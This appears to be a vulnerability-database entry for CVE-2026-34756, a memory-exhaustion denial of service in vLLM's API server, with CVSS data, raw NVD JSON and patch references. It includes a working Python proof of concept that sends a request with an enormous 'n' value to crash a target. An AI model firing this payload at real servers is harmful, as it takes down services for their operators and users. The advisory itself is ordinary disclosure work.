Security Vulnerability Report
中文
CVE-2026-34756 CVSS 6.5 MEDIUM

CVE-2026-34756

Published: 2026-04-06 16:16:37
Last Modified: 2026-04-20 18:30:39

Description

vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:* - VULNERABLE
vLLM >= 0.1.0, < 0.19.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_vllm_dos(target_url): """ PoC for CVE-2026-34756 Sends a request with a massive 'n' parameter to trigger OOM. """ url = f"{target_url}/v1/chat/completions" headers = { "Content-Type": "application/json" } # Payload with astronomical 'n' value # This bypasses validation and causes OOM payload = { "model": "any-model", "messages": [{"role": "user", "content": "test"}], "n": 999999999999 # Trigger the vulnerability } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except Exception as e: print(f"Exploit likely successful (Server crashed/OOM): {e}") if __name__ == "__main__": # Replace with actual target target = "http://localhost:8000" exploit_vllm_dos(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34756", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:36.610", "lastModified": "2026-04-20T18:30:39.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.1.0", "versionEndExcluding": "0.19.0", "matchCriteriaId": "E0C114ED-3459-4A6D-A572-812A9F3BF777"}]}]}], "references": [{"url": "https://github.com/vllm-project/vllm/commit/b111f8a61f100fdca08706f41f29ef3548de7380", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vllm-project/vllm/pull/37952", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-3mwp-wvh9-7528", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}